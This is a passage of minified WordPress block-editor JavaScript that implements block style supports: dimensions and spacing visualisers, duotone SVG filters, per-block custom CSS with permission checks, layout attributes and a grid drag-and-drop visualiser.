wfe({clientId:e,value:t,forceShow:o}){return(0,U_.jsx)(_fe,{clientId:e,value:t?.spacing?.padding,computeStyle:r=&gt;({borderTopWidth:lf(r,&quot;padding-top&quot;),borderRightWidth:lf(r,&quot;padding-right&quot;),borderBottomWidth:lf(r,&quot;padding-bottom&quot;),borderLeftWidth:lf(r,&quot;padding-left&quot;)}),forceShow:o})}var Mc=l(w(),1),ul=&quot;dimensions&quot;,H_=&quot;spacing&quot;;function QOe(){let[e,t]=(0,cf.useState)(!1),{hideBlockInterface:o,showBlockInterface:r}=M((0,zR.useDispatch)(_));return(0,cf.useEffect)(()=&gt;{e?o():r()},[e,r,o]),[e,t]}function JOe({children:e,resetAllFilter:t}){let o=(0,cf.useCallback)(r=&gt;{let n=r.style,i=t(n);return{...r,style:i}},[t]);return(0,Mc.jsx)(fe,{group:&quot;dimensions&quot;,resetAllFilter:o,children:e})}function Bfe({clientId:e,name:t,setAttributes:o,settings:r}){let n=MP(r),i=(0,zR.useSelect)(m=&gt;{if(n)return m(_).getBlockAttributes(e)?.style},[e,n]),[s,a]=QOe(),c=m=&gt;{o({style:Me(m)})};if(!n)return null;let u=(0,FR.getBlockSupport)(t,[ul,&quot;__experimentalDefaultControls&quot;]),d=(0,FR.getBlockSupport)(t,[H_,&quot;__experimentalDefaultControls&quot;]),f={...u,...d};return(0,Mc.jsxs)(Mc.Fragment,{children:[(0,Mc.jsx)(DP,{as:JOe,panelId:e,settings:r,value:i,onChange:c,defaultControls:f,onVisualize:a}),!!r?.spacing?.padding&amp;&amp;s===&quot;padding&quot;&amp;&amp;(0,Mc.jsx)(wfe,{forceShow:s===&quot;padding&quot;,clientId:e,value:i}),!!r?.spacing?.margin&amp;&amp;s===&quot;margin&quot;&amp;&amp;(0,Mc.jsx)(xfe,{forceShow:s===&quot;margin&quot;,clientId:e,value:i})]})}function Efe(e,t=&quot;any&quot;){if(cf.Platform.OS!==&quot;web&quot;)return!1;let o=(0,FR.getBlockSupport)(e,ul);return o===!0?!0:t===&quot;any&quot;?!!(o?.aspectRatio||o?.height||o?.minHeight||o?.width):!!o?.[t]}var Tfe={useBlockProps:eAe,attributeKeys:[&quot;height&quot;,&quot;minHeight&quot;,&quot;width&quot;,&quot;style&quot;],hasSupport(e){return Efe(e)}};function eAe({name:e,height:t,minHeight:o,style:r}){if(!Efe(e,&quot;aspectRatio&quot;)||Ue(e,ul,&quot;aspectRatio&quot;))return{};let n=V({&quot;has-aspect-ratio&quot;:!!r?.dimensions?.aspectRatio}),i={};return r?.dimensions?.aspectRatio?(i.minHeight=&quot;unset&quot;,i.height=&quot;unset&quot;):(o||r?.dimensions?.minHeight||t||r?.dimensions?.height)&amp;&amp;(i.aspectRatio=&quot;unset&quot;),{className:n,style:i}}function Cz(){(0,Cfe.default)(&quot;wp.blockEditor.__experimentalUseCustomSides&quot;,{since:&quot;6.3&quot;,version:&quot;6.4&quot;})}var dl=l(w(),1),tAe=[...bfe,cp,ir,ul,up,H_,S_],Ez=e=&gt;tAe.some(t=&gt;(0,Dc.hasBlockSupport)(e,t));function bi(e={}){let t={};return(0,Pk.getCSSRules)(e).forEach(o=&gt;{t[o.key]=o.value}),t}function oAe(e){return!Ez(e)&amp;&amp;!(0,Dc.hasBlockSupport)(e,&quot;customCSS&quot;,!0)||e.attributes.style||Object.assign(e.attributes,{style:{type:&quot;object&quot;}}),e}var Ofe={[`${cp}.__experimentalSkipSerialization`]:[&quot;border&quot;],[`${ir}.__experimentalSkipSerialization`]:[ir],[`${ds}.__experimentalSkipSerialization`]:[ds],[`${ul}.__experimentalSkipSerialization`]:[ul],[`${H_}.__experimentalSkipSerialization`]:[H_],[`${S_}.__experimentalSkipSerialization`]:[S_]},rAe={...Ofe,[`${ul}.aspectRatio`]:[`${ul}.aspectRatio`],[`${up}`]:[up]},nAe={[`${ul}.aspectRatio`]:!0,[`${up}`]:!0},iAe={gradients:&quot;gradient&quot;};function Bz(e,t,o=!1){if(!e)return e;let r=e;return o||(r=JSON.parse(JSON.stringify(e))),Array.isArray(t)||(t=[t]),t.forEach(n=&gt;{if(Array.isArray(n)||(n=n.split(&quot;.&quot;)),n.length&gt;1){let[i,...s]=n;Bz(r[i],[s],!0)}else n.length===1&amp;&amp;delete r[n[0]]}),r}function Afe(e,t,o,r=rAe){if(!Ez(t))return e;let{style:n}=o;return Object.entries(r).forEach(([i,s])=&gt;{let a=nAe[i]||(0,Dc.getBlockSupport)(t,i);a===!0&amp;&amp;(n=Bz(n,s)),Array.isArray(a)&amp;&amp;a.forEach(c=&gt;{let u=iAe[c]||c;n=Bz(n,[[...s,u]])})}),e.style={...bi(n),...e.style},e}function sAe({clientId:e,name:t,setAttributes:o,__unstableParentLayout:r}){let n=is(t,r),i=ao(),s={clientId:e,name:t,setAttributes:o,settings:{...n,typography:{...n.typography,textAlign:!1}}};return i!==&quot;default&quot;?null:(0,dl.jsxs)(dl.Fragment,{children:[(0,dl.jsx)(d2,{...s}),(0,dl.jsx)(vae,{...s}),(0,dl.jsx)(yfe,{...s}),(0,dl.jsx)(pae,{...s}),(0,dl.jsx)(Bfe,{...s})]})}var jR={edit:sAe,hasSupport:Ez,addSaveProps:Afe,attributeKeys:[&quot;style&quot;],useBlockProps:cAe},aAe=[{elementType:&quot;button&quot;},{elementType:&quot;link&quot;,pseudo:[&quot;:hover&quot;]},{elementType:&quot;heading&quot;,elements:[&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;]}],lAe={};function cAe({name:e,style:t}){let o=(0,Rfe.useInstanceId)(lAe,&quot;wp-elements&quot;),r=`.${o}`,n=t?.elements,i=(0,Ife.useMemo)(()=&gt;{if(!n)return;let s=[];return aAe.forEach(({elementType:a,pseudo:c,elements:u})=&gt;{if(Ue(e,ir,a))return;let f=n?.[a];if(f){let m=bg(r,Dc.__EXPERIMENTAL_ELEMENTS[a]);s.push((0,Pk.compileCSS)(f,{selector:m})),c&amp;&amp;c.forEach(h=&gt;{f[h]&amp;&amp;s.push((0,Pk.compileCSS)(f[h],{selector:bg(r,`${Dc.__EXPERIMENTAL_ELEMENTS[a]}${h}`)}))})}u&amp;&amp;u.forEach(m=&gt;{n[m]&amp;&amp;s.push((0,Pk.compileCSS)(n[m],{selector:bg(r,Dc.__EXPERIMENTAL_ELEMENTS[m])}))})}),s.length&gt;0?s.join(&quot;&quot;):void 0},[r,n,e]);return Qn({css:i}),Afe({className:o},e,{style:t},Ofe)}(0,Pfe.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/style/addAttribute&quot;,oAe);var Lfe=l(ut(),1),Nfe=l($(),1),uAe=e=&gt;(0,Nfe.hasBlockSupport)(e,&quot;__experimentalSettings&quot;,!1);function dAe(e){return uAe(e)&amp;&amp;(e?.attributes?.settings||(e.attributes={...e.attributes,settings:{type:&quot;object&quot;}})),e}(0,Lfe.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/settings/addAttribute&quot;,dAe);var uf=l($(),1),Vfe=l(Z(),1),Ffe=l(ut(),1),G_=l(R(),1);function fAe(e=[]){let t={r:[],g:[],b:[],a:[]};return e.forEach(o=&gt;{let r=Bt(o).toRgb();t.r.push(r.r/255),t.g.push(r.g/255),t.b.push(r.b/255),t.a.push(r.a)}),t}function Mfe(e){return`${e}{filter:none}`}function Dfe(e,t){return`${e}{filter:url(#${t})}`}function UR(e,t){let o=fAe(t);return`
&lt;svg
	xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;
	viewBox=&quot;0 0 0 0&quot;
	width=&quot;0&quot;
	height=&quot;0&quot;
	focusable=&quot;false&quot;
	role=&quot;none&quot;
	aria-hidden=&quot;true&quot;
	style=&quot;visibility: hidden; position: absolute; left: -9999px; overflow: hidden;&quot;
&gt;
	&lt;defs&gt;
		&lt;filter id=&quot;${e}&quot;&gt;
			&lt;!--
				Use sRGB instead of linearRGB so transparency looks correct.
				Use perceptual brightness to convert to grayscale.
			--&gt;
			&lt;feColorMatrix color-interpolation-filters=&quot;sRGB&quot; type=&quot;matrix&quot; values=&quot; .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 &quot;&gt;&lt;/feColorMatrix&gt;
			&lt;!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. --&gt;
			&lt;feComponentTransfer color-interpolation-filters=&quot;sRGB&quot;&gt;
				&lt;feFuncR type=&quot;table&quot; tableValues=&quot;${o.r.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncR&gt;
				&lt;feFuncG type=&quot;table&quot; tableValues=&quot;${o.g.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncG&gt;
				&lt;feFuncB type=&quot;table&quot; tableValues=&quot;${o.b.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncB&gt;
				&lt;feFuncA type=&quot;table&quot; tableValues=&quot;${o.a.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncA&gt;
			&lt;/feComponentTransfer&gt;
			&lt;!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. --&gt;
			&lt;feComposite in2=&quot;SourceGraphic&quot; operator=&quot;in&quot;&gt;&lt;/feComposite&gt;
		&lt;/filter&gt;
	&lt;/defs&gt;
&lt;/svg&gt;`}var Vc=l(w(),1),Tz=[],mAe=window?.navigator.userAgent&amp;&amp;window.navigator.userAgent.includes(&quot;Safari&quot;)&amp;&amp;!window.navigator.userAgent.includes(&quot;Chrome&quot;)&amp;&amp;!window.navigator.userAgent.includes(&quot;Chromium&quot;);Kc([Yc]);function Iz({presetSetting:e,defaultSetting:t}){let[o,r,n,i]=me(t,`${e}.custom`,`${e}.theme`,`${e}.default`);return(0,G_.useMemo)(()=&gt;[...r||Tz,...n||Tz,...o&amp;&amp;i||Tz],[o,r,n,i])}function zfe(e,t){if(!e)return;let o=t?.find(({slug:r})=&gt;e===`var:preset|duotone|${r}`);return o?o.colors:void 0}function pAe(e,t){if(!e||!Array.isArray(e))return;let o=t?.find(r=&gt;r?.colors?.every((n,i)=&gt;n===e[i]));return o?`var:preset|duotone|${o.slug}`:void 0}function hAe({style:e,setAttributes:t,name:o}){let r=e?.color?.duotone,n=is(o),i=ao(),s=Iz({presetSetting:&quot;color.duotone&quot;,defaultSetting:&quot;color.defaultDuotone&quot;}),a=Iz({presetSetting:&quot;color.palette&quot;,defaultSetting:&quot;color.defaultPalette&quot;}),[c,u]=me(&quot;color.custom&quot;,&quot;color.customDuotone&quot;),d=!c,f=!u||a?.length===0&amp;&amp;d;if(s?.length===0&amp;&amp;f||i!==&quot;default&quot;)return null;let m=r===&quot;unset&quot;||Array.isArray(r)?r:zfe(r,s);return(0,Vc.jsxs)(Vc.Fragment,{children:[(0,Vc.jsx)(fe,{group:&quot;filter&quot;,children:(0,Vc.jsx)(KP,{value:{filter:{duotone:m}},onChange:h=&gt;{let p={...e,color:{...h?.filter}};t({style:Me(p)})},settings:n})}),(0,Vc.jsx)(Mt,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,Vc.jsx)(eI,{duotonePalette:s,colorPalette:a,disableCustomDuotone:f,disableCustomColors:d,value:m,onChange:h=&gt;{let p=pAe(h,s),g={...e,color:{...e?.color,duotone:p??h}};t({style:Me(g)})},settings:n})})]})}var Pz={shareWithChildBlocks:!0,edit:hAe,useBlockProps:vAe,attributeKeys:[&quot;style&quot;],hasSupport(e){return(0,uf.hasBlockSupport)(e,&quot;filter.duotone&quot;)}};function gAe(e){return(0,uf.hasBlockSupport)(e,&quot;filter.duotone&quot;)&amp;&amp;(e.attributes.style||Object.assign(e.attributes,{style:{type:&quot;object&quot;}})),e}function bAe({clientId:e,id:t,selector:o,attribute:r}){let n=Iz({presetSetting:&quot;color.duotone&quot;,defaultSetting:&quot;color.defaultDuotone&quot;}),i=Array.isArray(r),s=i?void 0:zfe(r,n),a=typeof r==&quot;string&quot;&amp;&amp;s,c=typeof r==&quot;string&quot;&amp;&amp;!a,u=null;a?u=s:(c||i)&amp;&amp;(u=r);let m=o.split(&quot;,&quot;).map(g=&gt;`.${t}${g.trim()}`).join(&quot;, &quot;),h=Array.isArray(u)||u===&quot;unset&quot;;tc(h?{css:u!==&quot;unset&quot;?Dfe(m,t):Mfe(m),__unstableType:&quot;presets&quot;}:void 0),tc(h?{assets:u!==&quot;unset&quot;?UR(t,u):&quot;&quot;,__unstableType:&quot;svgs&quot;}:void 0);let p=Xe(e);(0,G_.useEffect)(()=&gt;{if(h&amp;&amp;p&amp;&amp;mAe){let g=p.style.display;p.style.setProperty(&quot;display&quot;,&quot;inline-block&quot;),p.offsetHeight,p.style.setProperty(&quot;display&quot;,g)}},[h,p,u])}var kAe={};function vAe({clientId:e,name:t,style:o}){let r=(0,Vfe.useInstanceId)(kAe),n=(0,G_.useMemo)(()=&gt;{let c=(0,uf.getBlockType)(t);if(c){if(!(0,uf.getBlockSupport)(c,&quot;filter.duotone&quot;,!1))return null;let d=(0,uf.getBlockSupport)(c,&quot;color.__experimentalDuotone&quot;,!1);if(d){let f=oi(c);return typeof d==&quot;string&quot;?bg(f,d):f}return oi(c,&quot;filter.duotone&quot;,{fallback:!0})}},[t]),i=o?.color?.duotone,s=`wp-duotone-${r}`,a=n&amp;&amp;i;return bAe({clientId:e,id:s,selector:n,attribute:i}),{className:a?s:&quot;&quot;}}(0,Ffe.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/duotone/add-attributes&quot;,gAe);var GR=l(R(),1),W_=l(F(),1),jfe=l(Z(),1),$_=l($(),1),K_=l(N(),1);var Ufe=l(Un(),1);var HR=l(w(),1),yAe={},SAe={};function _Ae({blockName:e,setAttributes:t,style:o}){if(ao()!==&quot;default&quot;)return null;let n=(0,$_.getBlockType)(e);function i(a){let c=a?.css?.trim()?a.css:void 0;t({style:Me({...a,css:c})})}let s=(0,K_.sprintf)((0,K_.__)(&quot;Add your own CSS to customize the appearance of the %s block. You do not need to include a CSS selector, just add the property and value, e.g. color: red;.&quot;),n?.title);return(0,HR.jsx)(fe,{group:&quot;advanced&quot;,children:(0,HR.jsx)(ZP,{value:o,onChange:i,inheritedValue:o,help:s})})}var xAe=&quot;custom-css-edit-warning&quot;;function wAe({clientId:e,name:t,setAttributes:o}){let{style:r,canEditCSS:n}=(0,W_.useSelect)(i=&gt;{let{getBlockAttributes:s,getSettings:a}=i(_);return{style:s(e)?.style||SAe,canEditCSS:a().canEditCSS}},[e]);return n?(0,HR.jsx)(_Ae,{blockName:t,setAttributes:o,style:r}):null}function CAe({style:e}){let t=e?.css,o=typeof t==&quot;string&quot;&amp;&amp;t.trim().length&gt;0&amp;&amp;qP(t),r=(0,W_.useSelect)(u=&gt;u(_).getSettings().canEditCSS,[]),{createWarningNotice:n}=(0,W_.useDispatch)(Ufe.store),i=!!t?.trim();(0,GR.useEffect)(()=&gt;{!r&amp;&amp;i&amp;&amp;n((0,K_.__)(&quot;This post contains blocks with custom CSS. You do not have permission to edit CSS. If you save this post, the custom CSS will be removed.&quot;),{id:xAe,isDismissible:!0})},[r,i,n]);let s=(0,jfe.useInstanceId)(yAe,&quot;wp-custom-css&quot;),a=`.${s}`,c=(0,GR.useMemo)(()=&gt;{if(o)return CS(t,a)},[t,a,o]);return Qn({css:c}),o?{className:`has-custom-css ${s}`}:{}}function BAe(e,t,o){if(!(0,$_.hasBlockSupport)(t,&quot;customCSS&quot;,!0)||!o?.style?.css?.trim())return e;let r=e.className?`${e.className} has-custom-css`:&quot;has-custom-css&quot;;return{...e,className:r}}var WR={edit:wAe,useBlockProps:CAe,addSaveProps:BAe,attributeKeys:[&quot;style&quot;],hasSupport(e){return(0,$_.hasBlockSupport)(e,&quot;customCSS&quot;,!0)}};var $R=l(Z(),1),Oz=l(ut(),1),Fc=l($(),1),KR=l(F(),1),fl=l(A(),1),Rk=l(N(),1);var Yo=l(w(),1),EAe=&quot;is-style-&quot;,Az=&quot;layout&quot;,{kebabCase:Rz}=M(fl.privateApis);function Lz(e){return(0,Fc.hasBlockSupport)(e,&quot;layout&quot;)||(0,Fc.hasBlockSupport)(e,&quot;__experimentalLayout&quot;)}function YR(e={},t=&quot;&quot;){let{layout:o}=e,{default:r}=(0,Fc.getBlockSupport)(t,Az)||{},n=o?.inherit||o?.contentSize||o?.wideSize?{...o,type:&quot;constrained&quot;}:o||r||{},i=[];if(Hn[n?.type||&quot;default&quot;]?.className){let a=Hn[n?.type||&quot;default&quot;]?.className,c=t.split(&quot;/&quot;),d=`wp-block-${c[0]===&quot;core&quot;?c.pop():c.join(&quot;-&quot;)}-${a}`;i.push(a,d)}return(0,KR.useSelect)(a=&gt;!n?.inherit&amp;&amp;!n?.contentSize&amp;&amp;n?.type!==&quot;constrained&quot;?!1:a(_).getSettings().__experimentalFeatures?.useRootPaddingAwareAlignments,[n?.contentSize,n?.inherit,n?.type])&amp;&amp;i.push(&quot;has-global-padding&quot;),n?.orientation&amp;&amp;i.push(`is-${Rz(n.orientation)}`),n?.justifyContent&amp;&amp;i.push(`is-content-justification-${Rz(n.justifyContent)}`),n?.flexWrap&amp;&amp;n.flexWrap===&quot;nowrap&quot;&amp;&amp;i.push(&quot;is-nowrap&quot;),i}function Nz(e={},t,o){let{layout:r={},style:n={}}=e,i=r?.inherit||r?.contentSize||r?.wideSize?{...r,type:&quot;constrained&quot;}:r||{},s=xs(i?.type||&quot;default&quot;),[a]=me(&quot;spacing.blockGap&quot;),c=a!==null;return s?.getLayoutStyle?.({blockName:t,selector:o,layout:r,style:n,hasBlockGapSupport:c})}function TAe({layout:e,setAttributes:t,name:o,clientId:r}){let n=is(o),{layout:i}=n,{themeSupportsLayout:s}=(0,KR.useSelect)(T=&gt;{let{getSettings:O}=T(_);return{themeSupportsLayout:O().supportsLayout}},[]);if(ao()!==&quot;default&quot;)return null;let c=(0,Fc.getBlockSupport)(o,Az,{}),u={...i,...c},{allowSwitching:d,allowEditing:f=!0,allowInheriting:m=!0,default:h}=u;if(!f)return null;let p={...c,...e},{type:g,default:{type:b=&quot;default&quot;}={}}=p,v=g||b,k=!!(m&amp;&amp;(!v||v===&quot;default&quot;||v===&quot;constrained&quot;||p.inherit)),y=e||h||{},{inherit:S=!1,contentSize:x=null}=y;if((v===&quot;default&quot;||v===&quot;constrained&quot;)&amp;&amp;!s)return null;let C=xs(v),B=xs(&quot;constrained&quot;),I=!y.type&amp;&amp;(x||S),P=!!S||!!x,E=T=&gt;t({layout:{type:T}}),L=T=&gt;t({layout:T});return(0,Yo.jsxs)(Yo.Fragment,{children:[(0,Yo.jsx)(fe,{children:(0,Yo.jsxs)(fl.PanelBody,{title:(0,Rk.__)(&quot;Layout&quot;),children:[k&amp;&amp;(0,Yo.jsx)(Yo.Fragment,{children:(0,Yo.jsx)(fl.ToggleControl,{label:(0,Rk.__)(&quot;Inner blocks use content width&quot;),checked:C?.name===&quot;constrained&quot;||P,onChange:()=&gt;t({layout:{type:C?.name===&quot;constrained&quot;||P?&quot;default&quot;:&quot;constrained&quot;}}),help:C?.name===&quot;constrained&quot;||P?(0,Rk.__)(&quot;Nested blocks use content width with options for full and wide widths.&quot;):(0,Rk.__)(&quot;Nested blocks will fill the width of this container.&quot;)})}),!S&amp;&amp;d&amp;&amp;(0,Yo.jsx)(IAe,{type:v,onChange:E}),C&amp;&amp;C.name!==&quot;default&quot;&amp;&amp;(0,Yo.jsx)(C.inspectorControls,{layout:y,onChange:L,layoutBlockSupport:u,name:o,clientId:r}),B&amp;&amp;I&amp;&amp;(0,Yo.jsx)(B.inspectorControls,{layout:y,onChange:L,layoutBlockSupport:u,name:o,clientId:r})]})}),!S&amp;&amp;C&amp;&amp;(0,Yo.jsx)(C.toolBarControls,{layout:y,onChange:L,layoutBlockSupport:c,name:o,clientId:r})]})}var Hfe={shareWithChildBlocks:!0,edit:TAe,attributeKeys:[&quot;layout&quot;],hasSupport(e){return Lz(e)}};function IAe({type:e,onChange:t}){return(0,Yo.jsx)(fl.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,isBlock:!0,label:(0,Rk.__)(&quot;Layout type&quot;),hideLabelFromVision:!0,isAdaptiveWidth:!0,value:e,onChange:t,children:fH().map(({name:o,label:r})=&gt;(0,Yo.jsx)(fl.__experimentalToggleGroupControlOption,{value:o,label:r},o))})}function PAe(e){return&quot;type&quot;in(e.attributes?.layout??{})||Lz(e)&amp;&amp;(e.attributes={...e.attributes,layout:{type:&quot;object&quot;}}),e}function RAe({block:e,props:t,blockGapSupport:o,globalBlockGapValue:r,layoutClasses:n}){let{name:i,attributes:s}=t,a=(0,$R.useInstanceId)(e),{layout:c}=s,{default:u}=(0,Fc.getBlockSupport)(i,Az)||{},d=c?.inherit||c?.contentSize||c?.wideSize?{...c,type:&quot;constrained&quot;}:c||u||{},f=`wp-container-${Rz(i)}-is-layout-`,m=`.${f}${a}`,h=o!==null,g=xs(d?.type||&quot;default&quot;)?.getLayoutStyle?.({blockName:i,selector:m,layout:d,style:s?.style,hasBlockGapSupport:h,globalBlockGapValue:r}),b=V({[`${f}${a}`]:!!g},n);return Qn({css:g}),(0,Yo.jsx)(e,{...t,__unstableLayoutClassNames:b})}var OAe=(0,$R.createHigherOrderComponent)(e=&gt;function(o){let{clientId:r,name:n,attributes:i}=o,s=Lz(n),a=YR(i,n),c=(0,KR.useSelect)(u=&gt;{if(!s)return;let{getSettings:d,getBlockSettings:f}=M(u(_)),m=d(),{disableLayoutStyles:h}=m;if(h)return;let[p]=f(r,&quot;spacing.blockGap&quot;),g=m[xi],b,v=i?.className;if(v?.includes(EAe)){let{getBlockStyles:y}=u(Fc.store),S=y(n),x=jV(v,S);b=x?g?.blocks?.[n]?.variations?.[x]?.spacing?.blockGap:void 0}let k=b??g?.blocks?.[n]?.spacing?.blockGap??g?.spacing?.blockGap;return{blockGapSupport:p,globalBlockGapValue:k}},[s,r,i?.className,n]);return c?(0,Yo.jsx)(RAe,{block:e,props:o,layoutClasses:a,...c}):(0,Yo.jsx)(e,{...o,__unstableLayoutClassNames:s?a:void 0})},&quot;withLayoutStyles&quot;);(0,Oz.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/layout/addAttribute&quot;,PAe);(0,Oz.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;core/editor/layout/with-layout-styles&quot;,OAe);var Xfe=l(Z(),1),zz=l(F(),1),Qfe=l(R(),1);var fs=l(R(),1),df=l(F(),1),Wfe=l(Z(),1);function q_(e,t){return Array.from({length:t},(o,r)=&gt;e+r)}var aa=class{constructor({columnStart:e,rowStart:t,columnEnd:o,rowEnd:r,columnSpan:n,rowSpan:i}={}){this.columnStart=e??1,this.rowStart=t??1,n!==void 0?this.columnEnd=this.columnStart+n-1:this.columnEnd=o??this.columnStart,i!==void 0?this.rowEnd=this.rowStart+i-1:this.rowEnd=r??this.rowStart}get columnSpan(){return this.columnEnd-this.columnStart+1}get rowSpan(){return this.rowEnd-this.rowStart+1}contains(e,t){return e&gt;=this.columnStart&amp;&amp;e&lt;=this.columnEnd&amp;&amp;t&gt;=this.rowStart&amp;&amp;t&lt;=this.rowEnd}containsRect(e){return this.contains(e.columnStart,e.rowStart)&amp;&amp;this.contains(e.columnEnd,e.rowEnd)}intersectsRect(e){return this.columnStart&lt;=e.columnEnd&amp;&amp;this.columnEnd&gt;=e.columnStart&amp;&amp;this.rowStart&lt;=e.rowEnd&amp;&amp;this.rowEnd&gt;=e.rowStart}};function Bo(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function Y_(e,t){let o=[];for(let r of e.split(&quot; &quot;)){let n=o[o.length-1],i=n?n.end+t:0,s=i+parseFloat(r);o.push({start:i,end:s})}return o}function zc(e,t,o=&quot;start&quot;){return e.reduce((r,n,i)=&gt;Math.abs(n[o]-t)&lt;Math.abs(e[r][o]-t)?i:r,0)}function AAe(e,t){let o=parseFloat(Bo(e,&quot;column-gap&quot;)),r=parseFloat(Bo(e,&quot;row-gap&quot;)),n=Y_(Bo(e,&quot;grid-template-columns&quot;),o),i=Y_(Bo(e,&quot;grid-template-rows&quot;),r),s=zc(n,t.left)+1,a=zc(i,t.top)+1,c=zc(n,t.right,&quot;end&quot;)+1,u=zc(i,t.bottom,&quot;end&quot;)+1;return new aa({columnStart:s,columnEnd:c,rowStart:a,rowEnd:u})}function Gfe(e){return AAe(e.parentElement,new window.DOMRect(e.offsetLeft,e.offsetTop,e.offsetWidth,e.offsetHeight))}function Mz(e){let t=Bo(e,&quot;grid-template-columns&quot;),o=Bo(e,&quot;grid-template-rows&quot;),r=Bo(e,&quot;border-top-width&quot;),n=Bo(e,&quot;border-right-width&quot;),i=Bo(e,&quot;border-bottom-width&quot;),s=Bo(e,&quot;border-left-width&quot;),a=Bo(e,&quot;padding-top&quot;),c=Bo(e,&quot;padding-right&quot;),u=Bo(e,&quot;padding-bottom&quot;),d=Bo(e,&quot;padding-left&quot;),f=t.split(&quot; &quot;).length,m=o.split(&quot; &quot;).length,h=f*m;return{numColumns:f,numRows:m,numItems:h,currentColor:Bo(e,&quot;color&quot;),style:{gridTemplateColumns:t,gridTemplateRows:o,gap:Bo(e,&quot;gap&quot;),inset:`
				calc(${a} + ${r})
				calc(${c} + ${n})
				calc(${u} + ${i})
				calc(${d} + ${s})
			`}}}var ki=l(w(),1);function Z_({clientId:e,contentRef:t,parentLayout:o,childGridClientId:r}){let n=(0,df.useSelect)(a=&gt;a(_).getSettings().isDistractionFree,[]),i=Xe(e);if(n||!i)return null;let s=o?.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity;return(0,ki.jsx)(LAe,{gridClientId:e,gridElement:i,isManualGrid:s,ref:t,childGridClientId:r})}var LAe=(0,fs.forwardRef)(({gridClientId:e,gridElement:t,isManualGrid:o,childGridClientId:r},n)=&gt;{let[i,s]=(0,fs.useState)(()=&gt;Mz(t)),[a,c]=(0,fs.useState)(!1),u=Xe(r),d=(0,fs.useMemo)(()=&gt;u?Gfe(u):null,[u]);return(0,fs.useEffect)(()=&gt;{let f=()=&gt;s(Mz(t)),m=new window.ResizeObserver(f);m.observe(t,{box:&quot;border-box&quot;});let h=new window.ResizeObserver(f);return h.observe(t),()=&gt;{m.disconnect(),h.disconnect()}},[t]),(0,fs.useEffect)(()=&gt;{function f(){c(!0)}function m(){c(!1)}return document.addEventListener(&quot;drag&quot;,f),document.addEventListener(&quot;dragend&quot;,m),()=&gt;{document.removeEventListener(&quot;drag&quot;,f),document.removeEventListener(&quot;dragend&quot;,m)}},[]),(0,ki.jsx)(Hi,{className:V(&quot;block-editor-grid-visualizer&quot;,{&quot;is-dropping-allowed&quot;:a}),clientId:e,__unstablePopoverSlot:&quot;__unstable-block-tools-after&quot;,children:(0,ki.jsx)(&quot;div&quot;,{ref:n,className:&quot;block-editor-grid-visualizer__grid&quot;,style:i.style,children:o?(0,ki.jsx)(MAe,{gridClientId:e,gridInfo:i,childGridRect:d}):(0,ki.jsx)(NAe,{gridInfo:i,childGridRect:d})})})});function NAe({gridInfo:e,childGridRect:t}){return q_(1,e.numRows).map(o=&gt;q_(1,e.numColumns).map(r=&gt;{let n=e.currentColor;return t?.contains(r,o)&amp;&amp;(n=&quot;transparent&quot;),(0,ki.jsx)($fe,{color:n},`${o}-${r}`)}))}function MAe({gridClientId:e,gridInfo:t,childGridRect:o}){let[r,n]=(0,fs.useState)(null),i=(0,df.useSelect)(a=&gt;{let{getBlockOrder:c,getBlockStyles:u}=M(a(_)),d=c(e);return u(d)},[e]),s=(0,fs.useMemo)(()=&gt;{let a=[];for(let c of Object.values(i)){let{columnStart:u,rowStart:d,columnSpan:f=1,rowSpan:m=1}=c?.layout??{};!u||!d||a.push(new aa({columnStart:u,rowStart:d,columnSpan:f,rowSpan:m}))}return a},[i]);return q_(1,t.numRows).map(a=&gt;q_(1,t.numColumns).map(c=&gt;{let u=o?.contains(c,a),d=t.currentColor;u&amp;&amp;(d=&quot;transparent&quot;);let f=s.some(h=&gt;h.contains(c,a)),m=r?.contains(c,a)??!1;return(0,ki.jsx)($fe,{color:d,className:m&amp;&amp;&quot;is-highlighted&quot;,children:f&amp;&amp;!u?(0,ki.jsx)(DAe,{column:c,row:a,gridClientId:e,gridInfo:t,setHighlightedRect:n}):(0,ki.jsx)(VAe,{column:c,row:a,gridClientId:e,gridInfo:t,setHighlightedRect:n})},`${a}-${c}`)}))}function $fe({color:e,children:t,className:o}){return(0,ki.jsx)(&quot;div&quot;,{className:V(&quot;block-editor-grid-visualizer__cell&quot;,o),style:{boxShadow:`inset 0 0 0 1px color-mix(in srgb, ${e} 20%, #0000)`,color:e},children:t})}function Kfe(e,t,o,r,n){let{getBlockAttributes:i,getBlockRootClientId:s,canInsertBlockType:a,getBlockName:c}=(0,df.useSelect)(_),{updateBlockAttributes:u,moveBlocksToPosition:d,__unstableMarkNextChangeAsNotPersistent:f}=(0,df.useDispatch)(_),m=np(o,r.numColumns);return FAe({validateDrag(h){let p=c(h);if(!a(p,o))return!1;let g=i(h),b=new aa({columnStart:e,rowStart:t,columnSpan:g.style?.layout?.columnSpan,rowSpan:g.style?.layout?.rowSpan});return new aa({columnSpan:r.numColumns,rowSpan:r.numRows}).containsRect(b)},onDragEnter(h){let p=i(h);n(new aa({columnStart:e,rowStart:t,columnSpan:p.style?.layout?.columnSpan,rowSpan:p.style?.layout?.rowSpan}))},onDragLeave(){n(h=&gt;h?.columnStart===e&amp;&amp;h?.rowStart===t?null:h)},onDrop(h){n(null);let p=i(h);u(h,{style:{...p.style,layout:{...p.style?.layout,columnStart:e,rowStart:t}}}),f(),d([h],s(h),o,m(e,t))}})}function 